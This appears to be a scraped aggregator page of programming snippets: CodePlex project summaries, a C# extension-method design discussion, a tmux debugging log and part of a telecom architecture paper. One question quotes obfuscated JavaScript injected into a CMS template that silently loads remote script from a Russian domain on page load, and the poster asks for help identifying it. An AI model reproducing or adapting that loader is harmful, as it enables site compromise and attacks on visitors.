and delay for each captureModé Internationalé (E-Commerce Site): Mode International is a fictional clothing store, and this website project is meant to be the e-Commerce site for this store. So far, the project has been developed using Java Enterprise Edition and Sockets, but I am considering making the use of C# in ASP .NET in the future.Music House: Site dedicado a musica e afiliadosNiphor's ToolBox: ?????????Nordic nRF24L01+ .NET Micro Framework Driver: Library that enables .NET Micro Framework developers to use Nordic 2.4 GHz wireless tranceivers. This library can be used on any net mf device with SPI interface.Petey's Game Engine: Petey's Game Engine is a XNA 4.0 game engine with a featured blog describing each step of the development. This is a learning project so people may follow and learn as my project evolves.ReportGenerator: ReportGenerator converts XML reports generated by PartCover or NCover into a readable HTML report.Rise of the rabbits: Rise of the RabbitsSapaFinance: SapaFinanceSCSM Copy Object: SCSM Copy Object is a CodePlex project that enables users to select objects in the System Center Service Manager console, click a task in the task pane and create a copy of the selected object(s). Objects can also be copied from command line executables.SharePoint 2010 Language Pack Downloader: SharePoint 2010 Language Pack Downloader is a tool to quickly download multiple language pack files for the SharePoint 2010 Server platform.SharePoint XQuery Reporting Solution: My company's project needs this technology because of the current company has a lot of data is stored in SharePoint, through Infopath data collection, data storage and not all InfoPath field values ​​are saved into a database, a considerable number of data in XML File, which caused difficulties in query and print a report, need a solution. Simply explained the thinking: First step:Put SharePoint, InfoPath XML file later (I did a small tool XMLToDB) or through the Event Handle sync sav...The Pacman: A simple single player game similar to Pacman. Developed using XNA game framework and C#. Game demonstrates usage of fuzzy logic for controlling the AI ghosts. This game is developed to test the effect of fuzzy logic AI in Pacman game.TodoStrike: Todo Strike is a simple todo list keeper.WallpaperDeleter: Simple program to delete the current background wallpaper image.Windows Phone 7 Continuous Integration Testing Framework: WP7 CI is a port of the Silverlight Toolkit Test Framework with added CI support, allowing tests to be run in the emulator from the command lineWolfpack - Distributed System Monitoring: Wolfpack is an extensible, .Net windows service framework for running jobs to monitor your software, system & business KPI's. The data collected can be sent directly to Growl, Geckoboard, WCF, SQL, SQLite, NServiceBus. It comes loaded with some tasks but it's simple to implement your own!

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• Prefer extension methods for encapsulation and reusability?

  - by tzaman

  edit4: wikified, since this seems to have morphed more into a discussion than a specific question. In C++ programming, it's generally considered good practice to "prefer non-member non-friend functions" instead of instance methods. This has been recommended by Scott Meyers in this classic Dr. Dobbs article, and repeated by Herb Sutter and Andrei Alexandrescu in C++ Coding Standards (item 44); the general argument being that if a function can do its job solely by relying on the public interface exposed by the class, it actually increases encapsulation to have it be external. While this confuses the "packaging" of the class to some extent, the benefits are generally considered worth it. Now, ever since I've started programming in C#, I've had a feeling that here is the ultimate expression of the concept that they're trying to achieve with "non-member, non-friend functions that are part of a class interface". C# adds two crucial components to the mix - the first being interfaces, and the second extension methods: Interfaces allow a class to formally specify their public contract, the methods and properties that they're exposing to the world. Any other class can choose to implement the same interface and fulfill that same contract. Extension methods can be defined on an interface, providing any functionality that can be implemented via the interface to all implementers automatically. And best of all, because of the "instance syntax" sugar and IDE support, they can be called the same way as any other instance method, eliminating the cognitive overhead! So you get the encapsulation benefits of "non-member, non-friend" functions with the convenience of members. Seems like the best of both worlds to me; the .NET library itself providing a shining example in LINQ. However, everywhere I look I see people warning against extension method overuse; even the MSDN page itself states: In general, we recommend that you implement extension methods sparingly and only when you have to. (edit: Even in the current .NET library, I can see places where it would've been useful to have extensions instead of instance methods - for example, all of the utility functions of List<T> (Sort, BinarySearch, FindIndex, etc.) would be incredibly useful if they were lifted up to IList<T> - getting free bonus functionality like that adds a lot more benefit to implementing the interface.) So what's the verdict? Are extension methods the acme of encapsulation and code reuse, or am I just deluding myself? (edit2: In response to Tomas - while C# did start out with Java's (overly, imo) OO mentality, it seems to be embracing more multi-paradigm programming with every new release; the main thrust of this question is whether using extension methods to drive a style change (towards more generic / functional C#) is useful or worthwhile..) edit3: overridable extension methods The only real problem identified so far with this approach, is that you can't specialize extension methods if you need to. I've been thinking about the issue, and I think I've come up with a solution. Suppose I have an interface MyInterface, which I want to extend - I define my extension methods in a MyExtension static class, and pair it with another interface, call it MyExtensionOverrider. MyExtension methods are defined according to this pattern: public static int MyMethod(this MyInterface obj, int arg, bool attemptCast=true) { if (attemptCast && obj is MyExtensionOverrider) { return ((MyExtensionOverrider)obj).MyMethod(arg); } // regular implementation here } The override interface mirrors all of the methods defined in MyExtension, except without the this or attemptCast parameters: public interface MyExtensionOverrider { int MyMethod(int arg); string MyOtherMethod(); } Now, any class can implement the interface and get the default extension functionality: public class MyClass : MyInterface { ... } Anyone that wants to override it with specific implementations can additionally implement the override interface: public class MySpecializedClass : MyInterface, MyExtensionOverrider { public int MyMethod(int arg) { //specialized implementation for one method } public string MyOtherMethod() { // fallback to default for others MyExtension.MyOtherMethod(this, attemptCast: false); } } And there we go: extension methods provided on an interface, with the option of complete extensibility if needed. Fully general too, the interface itself doesn't need to know about the extension / override, and multiple extension / override pairs can be implemented without interfering with each other. I can see three problems with this approach - It's a little bit fragile - the extension methods and override interface have to be kept synchronized manually. It's a little bit ugly - implementing the override interface involves boilerplate for every function you don't want to specialize. It's a little bit slow - there's an extra bool comparison and cast attempt added to the mainline of every method. Still, all those notwithstanding, I think this is the best we can get until there's language support for interface functions. Thoughts?

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• Weird Javascript in Template. Is this a hacking attempt?

  - by Julian

  I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

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• CodePlex Daily Summary for Sunday, January 23, 2011

  CodePlex Daily Summary for Sunday, January 23, 2011Popular ReleasesCommunity Forums NNTP bridge: Community Forums NNTP Bridge V42: Release of the Community Forums NNTP Bridge to access the social and anwsers MS forums with a single, open source NNTP bridge. This release has added some features / bugfixes: Bugfix: Decoding of Subject now also supports multi-line subjects (occurs only if you have very long subjects with non-ASCII characters)Microsoft All-In-One Code Framework: All-In-One Code Framework 2011-01-23: Improved and Newly Added Examples:For an up-to-date code sample index, please refer to All-In-One Code Framework Sample Catalog. NEW Samples for Azure Name Description Owner CSAzureBingMaps Azure + Bing map sample application (C#) YiLun VBAzureBingMaps Azure + Bing map sample application (VB) Wenchao NEW Samples for ASP.NET Name Description Owner CSASPNETEmailAddressValidator Validate email address in ASP.NET (C#) Jerry VBASPNETEmailAddressValidator...Minecraft Tools: Minecraft Topographical Survey 1.3: MTS requires version 4 of the .NET Framework - you must download it from Microsoft if you have not previously installed it. This version of MTS adds automatic block list updates, so MTS will recognize blocks added in game updates properly rather than drawing them in bright pink. New in this version of MTS: Support for all new blocks added since the Halloween update Auto-update of blockcolors.xml to support future game updates A splash screen that shows while the program searches for upd...StyleCop for ReSharper: StyleCop for ReSharper 5.1.14996.000: New Features: ============= This release is just compiled against the latest release of JetBrains ReSharper 5.1.1766.4 Previous release: A considerable amount of work has gone into this release: Huge focus on performance around the violation scanning subsystem: - caching added to reduce IO operations around reading and merging of settings files - caching added to reduce creation of expensive objects Users should notice condsiderable perf boost and a decrease in memory usage. Bug Fixes...TweetSharp: TweetSharp v2.0.0.0 - Preview 9: Documentation for this release may be found at http://tweetsharp.codeplex.com/wikipage?title=UserGuide&referringTitle=Documentation. Note: This code is currently preview quality. Preview 9 ChangesAdded support for lists and suggested users Fixes based on user feedback Third Party Library VersionsHammock v1.1.6: http://hammock.codeplex.com Json.NET 4.0 Release 1: http://json.codeplex.comjqGrid ASP.Net MVC Control: Version 1.2.0.0: jqGrid 3.8 support jquery 1.4 support New and exciting features Many bugfixes Complete separation from the jquery, & jqgrid codeMediaScout: MediaScout 3.0 Preview 4: Update ReleaseCoding4Fun Tools: Coding4Fun.Phone.Toolkit v1: Coding4Fun.Phone.Toolkit v1MFCMAPI: January 2011 Release: Build: 6.0.0.1024 Full release notes at SGriffin's blog. If you just want to run the tool, get the executable. If you want to debug it, get the symbol file and the source. The 64 bit build will only work on a machine with Outlook 2010 64 bit installed. All other machines should use the 32 bit build, regardless of the operating system. Facebook BadgeAutoLoL: AutoLoL v1.5.4: Added champion: Renekton Removed automatic file association Fix: The recent files combobox didn't always open a file when an item was selected Fix: Removing a recently opened file caused an errorDotNetNuke® Community Edition: 05.06.01: Major Highlights Fixed issue to remove preCondition checks when upgrading to .Net 4.0 Fixed issue where some valid domains were failing email validation checks. Fixed issue where editing Host menu page settings assigns the page to a Portal. Fixed issue which caused XHTML validation problems in 5.6.0 Fixed issue where an aspx page in any subfolder was inaccessible. Fixed issue where Config.Touch method signature had an unintentional breaking change in 5.6.0 Fixed issue which caused...MiniTwitter: 1.65: MiniTwitter 1.65 ???? ?? List ????? in-reply-to ???????? ????????????????????????? ?? OAuth ????????????????????????????ASP.net Ribbon: Version 2.1: Tadaaa... So Version 2.1 brings a lot of things... Have a look at the homepage to see what's new. Also, I wanted to (really) improve the Designer. I wanted to add great things... but... it took to much time. And as some of you were waiting for fixes, I decided just to fix bugs and add some features. So have a look at the demo app to see new features. Thanks ! (You can expect some realeses if bugs are not fixed correctly... 2.2, 2.3, 2.4....)iTracker Asp.Net Starter Kit: Version 3.0.0: This is the inital release of the version 3.0.0 Visual Studio 2010 (.Net 4.0) remake of the ITracker application. I connsider this a working, stable application but since there are still some features missing to make it "complete" I'm leaving it listed as a "beta" release. I am hoping to make it feature complete for v3.1.0 but anything is possible.mytrip.mvc (CMS & e-Commerce): mytrip.mvc 1.0.52.1 beta 2: New MVC3 RTM fix bug: Dropdown select fix bug: Add Store/Department and Add Store/Produser WEB.mytrip.mvc 1.0.52.1 Web for install hosting System Requirements: NET 4.0, MSSQL 2008 or MySql (auto creation table to database) if .\SQLEXPRESS auto creation database (App_Data folder) SRC.mytrip.mvc 1.0.52.1 System Requirements: Visual Studio 2010 or Web Deweloper 2010 MSSQL 2008 or MySql (auto creation table to database) if .\SQLEXPRESS auto creation database (App_Data folder) Connector/Net...ASP.NET MVC Project Awesome, jQuery Ajax helpers (controls): 1.6.1: A rich set of helpers (controls) that you can use to build highly responsive and interactive Ajax-enabled Web applications. These helpers include Autocomplete, AjaxDropdown, Lookup, Confirm Dialog, Popup Form, Popup and Pager changes: RenderView controller extension works for razor also live demo switched to razorBloodSim: BloodSim - 1.3.3.1: - Priority update to resolve a bug that was causing Boss damage to ignore Blood Shields entirelyRawr: Rawr 4.0.16 Beta: Rawr is now web-based. The link to use Rawr4 is: http://elitistjerks.com/rawr.phpThis is the Cataclysm Beta Release. More details can be found at the following link http://rawr.codeplex.com/Thread/View.aspx?ThreadId=237262 As of this release, you can now also begin using the new Downloadable WPF version of Rawr!This is a pre-alpha release of the WPF version, there are likely to be a lot of issues. If you have a problem, please follow the Posting Guidelines and put it into the Issue Tracker. W...MvcContrib: an Outer Curve Foundation project: MVC 3 - 3.0.51.0: Please see the Change Log for a complete list of changes. MVC BootCamp Description of the releases: MvcContrib.Release.zip MvcContrib.dll MvcContrib.TestHelper.dll MvcContrib.Extras.Release.zip T4MVC. The extra view engines / controller factories and other functionality which is in the project. This file includes the main MvcContrib assembly. Samples are included in the release. You do not need MvcContrib if you download the Extras.N2 CMS: 2.1.1: N2 is a lightweight CMS framework for ASP.NET. It helps you build great web sites that anyone can update. 2.1.1 Maintenance release List of changes 2.1 Major Changes Support for auto-implemented properties ({get;set;}, based on contribution by And Poulsen) File manager improvements (multiple file upload, resize images to fit) New image gallery Infinite scroll paging on news Content templates First time with N2? Try the demo site Download one of the template packs (above) and open...New ProjectsAutomatic content Publishing for SharePoint 2010 using PowerShell script: While working on SharePoint publishing portals, many times we require the automated publishing of contents. I thought of writing script that has good options to choose from and, will automate the publishing of content.Basic Events: Basic Events makes it easier for developers to use out of the box events with basic properties in their eventargs like string message and datetime.Benedictus 3000: Ici on fait bien les choses. Rien de moins que la totale, et rien de plus. N'essayez pas d'en faire plus que nous, vous allez vous faire mal.CPEBook by FMUG & TPAY: CPEBook by MUG & TPAY Projet dot NET CPEBookDust2: ?.NET???，??ActiveRecord??????????。Dust2????ruby on rails?ActiveRecord???，?????.NET?????C#????。 Dust2????、????、??、??、????? ???????，Dust2???Migrations??！EaseCode: Want acces to paths that require long line codes? we make it 2 words want battery percentage, windows version, username, appdata, program files, etx. you get acces to that all by typing 2 words Enhanced Host File Manager: Enhanced Host File Editor / Manager Intended for web development (developers or designers) to switch between development and live easily, hassle free. Full access to the host file is required. It is assumed that host file is at default location: C:\Windows\System32\drivers\etc\Intervals: This class library, written in C# for .NET 3.5 and 4.0, allows you to work with intervals, with various utility methods that simplify the work. It will allow you to find overlapping regions, create interval slices, do slice calculations, etc.KeyboardMouseHooks C# Library: KeyboardMouseHooks C# classes are part of RamGec Tools collection for .NET developers. It enables you, in a very easy, optimized and OO-way, via C# events system to install and track low level Windows keyboard and mouse hooks.Lightning Talk Countdown Timer: This application is 5 minutes countdown timer for Lightning Talk. ???????????5????????????????。MASCOT2CSV: This simple tool combines input and output data for/to MASCOT protein database into one csv file to make it comparable by human reader.MD5FileCalculator: Windows application showing the MD5 Hash for a fileMux Log Cleaner: A simple text file log cleaner for use with text-based RPGs (MUX, MUSH, MUD, MOO, etc.) which filters out common out of character output and allows custom filters. Requires .NET framework 3.5 (4.0 doesn't seem to work with it presently)MyUtil: ???????Orchard Module Visual Studio Project Template: Visual Studio Project Template installer for Orchard ModulesOutlook Social Connector C# sample with Setup Project: The Outlook 2010 Social Connector allows you to integrate (mash-up) feeds from other Web 2.0 sites. This example comes with a Setup project that will help you publish and deploy your project PAEPing: a simple tool for pingingRegExEditor: RegExEditor makes it easier for .Net developers to design Regular Expressions. It is developed in C#.Shevek: Shevek is following the dotnetslackers.com "Building a StackOverflow inspired Knowledge Exchange" articlesstylecopmaker: stylecopmakerSystem.Json: System.Json is a basic implementation of Json parsing and usage, allowing easy consumption of Json data from any source. System.Json is called such as I feel this is the library that should simply be in .NET for handling Json.VtigercrmNet: ?.NET????vtigercrm????WPFTimer: A simple Timer in WPF.Xi Game Engine for XNA: Xi Game Engine is an evolution of the classic Ox Game Engine for XNA. It is a good foundation for modern 2D and 3D game applications. It features an all-in-one UI, 2D, and 3D editor. It is deeply integrated with game physics using Box2D and BEPU.Yet Another Silverlight Popup Menu: A Silverlight 4 popup menu example that includes separators, images, and finished sufficiently to configure in XAML.

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• tmux: Suddenly, cannot horizontally split

  - by A__A__0

  As root, using a reasonably default .profile and .shrc and an empty tmux.conf, I am unable to split the window horizontally. There are a number of cases to consider so I'll list them clearly. Using the keybinding + empty configuration: nothing happens Using the keybinding + my configuration: a bell is generated, nothing else; occasionally, the split will appear and disappear immediately (maybe it always does this, but I'm connecting over ssh so it may not make it through) Using tmux split-window -h with any config: tmux immediately exits I've posted here in order the server and client verbose logs generated by tmux -v during the third case: server started, pid 9523 socket path /tmp/tmux-0/default new client 7 got 100 from client 7 got 101 from client 7 got 102 from client 7 got 103 from client 7 got 104 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 105 from client 7 got 106 from client 7 got 200 from client 7 cmdq 0x801c6e080: new-session (client 7) new term: xterm xterm override: XT xterm override: Ms ]52;%p1%s;%p2%s xterm override: Cs ]12;%p1%s xterm override: Cr ]112 xterm override: Ss [%p1%d q xterm override: Se [2 q new key Oo: 0x1021 (KP/) new key Oj: 0x1022 (KP*) new key Om: 0x1023 (KP-) new key Ow: 0x1024 (KP7) new key Ox: 0x1025 (KP8) new key Oy: 0x1026 (KP9) new key Ok: 0x1027 (KP+) new key Ot: 0x1028 (KP4) new key Ou: 0x1029 (KP5) new key Ov: 0x102a (KP6) new key Oq: 0x102b (KP1) new key Or: 0x102c (KP2) new key Os: 0x102d (KP3) new key OM: 0x102e (KPEnter) new key Op: 0x102f (KP0) new key On: 0x1030 (KP.) new key OA: 0x101d (Up) new key OB: 0x101e (Down) new key OC: 0x1020 (Right) new key OD: 0x101f (Left) new key [A: 0x101d (Up) new key [B: 0x101e (Down) new key [C: 0x1020 (Right) new key [D: 0x101f (Left) new key OH: 0x1018 (Home) new key OF: 0x1019 (End) new key [H: 0x1018 (Home) new key [F: 0x1019 (End) new key Oa: 0x501d (C-Up) new key Ob: 0x501e (C-Down) new key Oc: 0x5020 (C-Right) new key Od: 0x501f (C-Left) new key [a: 0x901d (S-Up) new key [b: 0x901e (S-Down) new key [c: 0x9020 (S-Right) new key [d: 0x901f (S-Left) new key [11^: 0x5002 (C-F1) new key [12^: 0x5003 (C-F2) new key [13^: 0x5004 (C-F3) new key [14^: 0x5005 (C-F4) new key [15^: 0x5006 (C-F5) new key [17^: 0x5007 (C-F6) new key [18^: 0x5008 (C-F7) new key [19^: 0x5009 (C-F8) new key [20^: 0x500a (C-F9) new key [21^: 0x500b (C-F10) new key [23^: 0x500c (C-F11) new key [24^: 0x500d (C-F12) new key [25^: 0x500e (C-F13) new key [26^: 0x500f (C-F14) new key [28^: 0x5010 (C-F15) new key [29^: 0x5011 (C-F16) new key [31^: 0x5012 (C-F17) new key [32^: 0x5013 (C-F18) new key [33^: 0x5014 (C-F19) new key [34^: 0x5015 (C-F20) new key [2^: 0x5016 (C-IC) new key [3^: 0x5017 (C-DC) new key [7^: 0x5018 (C-Home) new key [8^: 0x5019 (C-End) new key [6^: 0x501a (C-NPage) new key [5^: 0x501b (C-PPage) new key [11$: 0x9002 (S-F1) new key [12$: 0x9003 (S-F2) new key [13$: 0x9004 (S-F3) new key [14$: 0x9005 (S-F4) new key [15$: 0x9006 (S-F5) new key [17$: 0x9007 (S-F6) new key [18$: 0x9008 (S-F7) new key [19$: 0x9009 (S-F8) new key [20$: 0x900a (S-F9) new key [21$: 0x900b (S-F10) new key [23$: 0x900c (S-F11) new key [24$: 0x900d (S-F12) new key [25$: 0x900e (S-F13) new key [26$: 0x900f (S-F14) new key [28$: 0x9010 (S-F15) new key [29$: 0x9011 (S-F16) new key [31$: 0x9012 (S-F17) new key [32$: 0x9013 (S-F18) new key [33$: 0x9014 (S-F19) new key [34$: 0x9015 (S-F20) new key [2$: 0x9016 (S-IC) new key [3$: 0x9017 (S-DC) new key [7$: 0x9018 (S-Home) new key [8$: 0x9019 (S-End) new key [6$: 0x901a (S-NPage) new key [5$: 0x901b (S-PPage) new key [11@: 0xd002 (C-S-F1) new key [12@: 0xd003 (C-S-F2) new key [13@: 0xd004 (C-S-F3) new key [14@: 0xd005 (C-S-F4) new key [15@: 0xd006 (C-S-F5) new key [17@: 0xd007 (C-S-F6) new key [18@: 0xd008 (C-S-F7) new key [19@: 0xd009 (C-S-F8) new key [20@: 0xd00a (C-S-F9) new key [21@: 0xd00b (C-S-F10) new key [23@: 0xd00c (C-S-F11) new key [24@: 0xd00d (C-S-F12) new key [25@: 0xd00e (C-S-F13) new key [26@: 0xd00f (C-S-F14) new key [28@: 0xd010 (C-S-F15) new key [29@: 0xd011 (C-S-F16) new key [31@: 0xd012 (C-S-F17) new key [32@: 0xd013 (C-S-F18) new key [33@: 0xd014 (C-S-F19) new key [34@: 0xd015 (C-S-F20) new key [2@: 0xd016 (C-S-IC) new key [3@: 0xd017 (C-S-DC) new key [7@: 0xd018 (C-S-Home) new key [8@: 0xd019 (C-S-End) new key [6@: 0xd01a (C-S-NPage) new key [5@: 0xd01b (C-S-PPage) new key [I: 0x1031 ((null)) new key [O: 0x1032 ((null)) new key OP: 0x1002 (F1) new key OQ: 0x1003 (F2) new key OR: 0x1004 (F3) new key OS: 0x1005 (F4) new key [15~: 0x1006 (F5) new key [17~: 0x1007 (F6) new key [18~: 0x1008 (F7) new key [19~: 0x1009 (F8) new key [20~: 0x100a (F9) new key [21~: 0x100b (F10) new key [23~: 0x100c (F11) new key [24~: 0x100d (F12) new key [2~: 0x1016 (IC) new key [3~: 0x1017 (DC) replacing key OH: 0x1018 (Home) replacing key OF: 0x1019 (End) new key [6~: 0x101a (NPage) new key [5~: 0x101b (PPage) new key [Z: 0x101c (BTab) replacing key OA: 0x101d (Up) replacing key OB: 0x101e (Down) replacing key OD: 0x101f (Left) replacing key OC: 0x1020 (Right) spawn: /bin/sh -- session 0 created writing 207 to client 7 got 208 from client 7 input_parse: '#' ground input_parse: ' ' ground keys are 7 ([?1;2c) received service class 1 complete key [?1;2c 0xfff keys are 1 (t) complete key t 0x74 input_parse: 't' ground keys are 1 (m) complete key m 0x6d input_parse: 'm' ground keys are 1 (u) complete key u 0x75 input_parse: 'u' ground keys are 1 (x) complete key x 0x78 input_parse: 'x' ground keys are 1 ( ) complete key 0x20 input_parse: ' ' ground keys are 1 (s) complete key s 0x73 input_parse: 's' ground keys are 1 (p) complete key p 0x70 input_parse: 'p' ground keys are 1 (l) complete key l 0x6c input_parse: 'l' ground keys are 1 (i) complete key i 0x69 input_parse: 'i' ground keys are 1 (t) complete key t 0x74 input_parse: 't' ground keys are 1 (-) complete key - 0x2d input_parse: '-' ground keys are 1 (d) complete key d 0x64 input_parse: 'd' ground keys are 1 () complete key 0x7f input_parse: '' ground input_c0_dispatch: ' input_parse: '' ground input_parse: '[' esc_enter input_parse: 'K' csi_enter input_csi_dispatch: 'K' "" "" keys are 1 (w) complete key w 0x77 input_parse: 'w' ground keys are 1 (i) complete key i 0x69 input_parse: 'i' ground keys are 1 (n) complete key n 0x6e input_parse: 'n' ground keys are 1 (d) complete key d 0x64 input_parse: 'd' ground keys are 1 (o) complete key o 0x6f input_parse: 'o' ground keys are 1 (w) complete key w 0x77 input_parse: 'w' ground keys are 1 ( ) complete key 0x20 input_parse: ' ' ground keys are 1 (-) complete key - 0x2d input_parse: '-' ground keys are 1 (h) complete key h 0x68 input_parse: 'h' ground keys are 1 ( ) complete key 0xd input_parse: ' ' ground input_c0_dispatch: ' input_parse: ' ' ground input_c0_dispatch: ' new client 13 got 100 from client 13 got 101 from client 13 got 102 from client 13 got 103 from client 13 got 104 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 105 from client 13 got 106 from client 13 got 200 from client 13 cmdq 0x801c6e160: split-window -h (client 13) spawn: /bin/sh -- writing 203 to client 13 input_parse: '#' ground input_parse: ' ' ground input_parse: '#' ground input_parse: ' ' ground lost client 13 session 0 destroyed writing 203 to client 7 got 205 from client 7 writing 204 to client 7 lost client 7 got 207 from server got 203 from server got 204 from server There are some other peculiarities: With a newly created user (from which I overwrote root's .profile and .shrc, tmux works perfectly. Occasionally (twice out of the 50 or so times I've tested it), the splitting will work fine once in a session. (This happened for example when I ran ktrace on tmux, which I can also post) To explain the 'suddenly' part of the title: when I started my newly updated mysql56-server, tmux immediately exited and lost the session. Recently I changed architectures, from FreeBSD 10.0 i386 to amd64, and I am still working through shared library incompatibilities. I suspect that this could be involved, but I can't imagine how an incompatibility of this sort could result in such a specific, isolated failure.

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• Is there a Telecommunications Reference Architecture?

  - by raul.goycoolea

  @font-face { font-family: "Arial"; }@font-face { font-family: "Courier New"; }@font-face { font-family: "Wingdings"; }@font-face { font-family: "Cambria"; }p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0cm 0cm 0.0001pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }div.Section1 { page: Section1; }ol { margin-bottom: 0cm; }ul { margin-bottom: 0cm; } Abstract   Reference architecture provides needed architectural information that can be provided in advance to an enterprise to enable consistent architectural best practices. Enterprise Reference Architecture helps business owners to actualize their strategies, vision, objectives, and principles. It evaluates the IT systems, based on Reference Architecture goals, principles, and standards. It helps to reduce IT costs by increasing functionality, availability, scalability, etc. Telecom Reference Architecture provides customers with the flexibility to view bundled service bills online with the provision of multiple services. It provides real-time, flexible billing and charging systems, to handle complex promotions, discounts, and settlements with multiple parties. This paper attempts to describe the Reference Architecture for the Telecom Enterprises. It lays the foundation for a Telecom Reference Architecture by articulating the requirements, drivers, and pitfalls for telecom service providers. It describes generic reference architecture for telecom enterprises and moves on to explain how to achieve Enterprise Reference Architecture by using SOA.   Introduction   A Reference Architecture provides a methodology, set of practices, template, and standards based on a set of successful solutions implemented earlier. These solutions have been generalized and structured for the depiction of both a logical and a physical architecture, based on the harvesting of a set of patterns that describe observations in a number of successful implementations. It helps as a reference for the various architectures that an enterprise can implement to solve various problems. It can be used as the starting point or the point of comparisons for various departments/business entities of a company, or for the various companies for an enterprise. It provides multiple views for multiple stakeholders.   Major artifacts of the Enterprise Reference Architecture are methodologies, standards, metadata, documents, design patterns, etc.   Purpose of Reference Architecture   In most cases, architects spend a lot of time researching, investigating, defining, and re-arguing architectural decisions. It is like reinventing the wheel as their peers in other organizations or even the same organization have already spent a lot of time and effort defining their own architectural practices. This prevents an organization from learning from its own experiences and applying that knowledge for increased effectiveness.   Reference architecture provides missing architectural information that can be provided in advance to project team members to enable consistent architectural best practices.   Enterprise Reference Architecture helps an enterprise to achieve the following at the abstract level:   ·       Reference architecture is more of a communication channel to an enterprise ·       Helps the business owners to accommodate to their strategies, vision, objectives, and principles. ·       Evaluates the IT systems based on Reference Architecture Principles ·       Reduces IT spending through increasing functionality, availability, scalability, etc ·       A Real-time Integration Model helps to reduce the latency of the data updates Is used to define a single source of Information ·       Provides a clear view on how to manage information and security ·       Defines the policy around the data ownership, product boundaries, etc. ·       Helps with cost optimization across project and solution portfolios by eliminating unused or duplicate investments and assets ·       Has a shorter implementation time and cost   Once the reference architecture is in place, the set of architectural principles, standards, reference models, and best practices ensure that the aligned investments have the greatest possible likelihood of success in both the near term and the long term (TCO).     Common pitfalls for Telecom Service Providers   Telecom Reference Architecture serves as the first step towards maturity for a telecom service provider. During the course of our assignments/experiences with telecom players, we have come across the following observations – Some of these indicate a lack of maturity of the telecom service provider:   ·       In markets that are growing and not so mature, it has been observed that telcos have a significant amount of in-house or home-grown applications. In some of these markets, the growth has been so rapid that IT has been unable to cope with business demands. Telcos have shown a tendency to come up with workarounds in their IT applications so as to meet business needs. ·       Even for core functions like provisioning or mediation, some telcos have tried to manage with home-grown applications. ·       Most of the applications do not have the required scalability or maintainability to sustain growth in volumes or functionality. ·       Applications face interoperability issues with other applications in the operator's landscape. Integrating a new application or network element requires considerable effort on the part of the other applications. ·       Application boundaries are not clear, and functionality that is not in the initial scope of that application gets pushed onto it. This results in the development of the multiple, small applications without proper boundaries. ·       Usage of Legacy OSS/BSS systems, poor Integration across Multiple COTS Products and Internal Systems. Most of the Integrations are developed on ad-hoc basis and Point-to-Point Integration. ·       Redundancy of the business functions in different applications • Fragmented data across the different applications and no integrated view of the strategic data • Lot of performance Issues due to the usage of the complex integration across OSS and BSS systems   However, this is where the maturity of the telecom industry as a whole can be 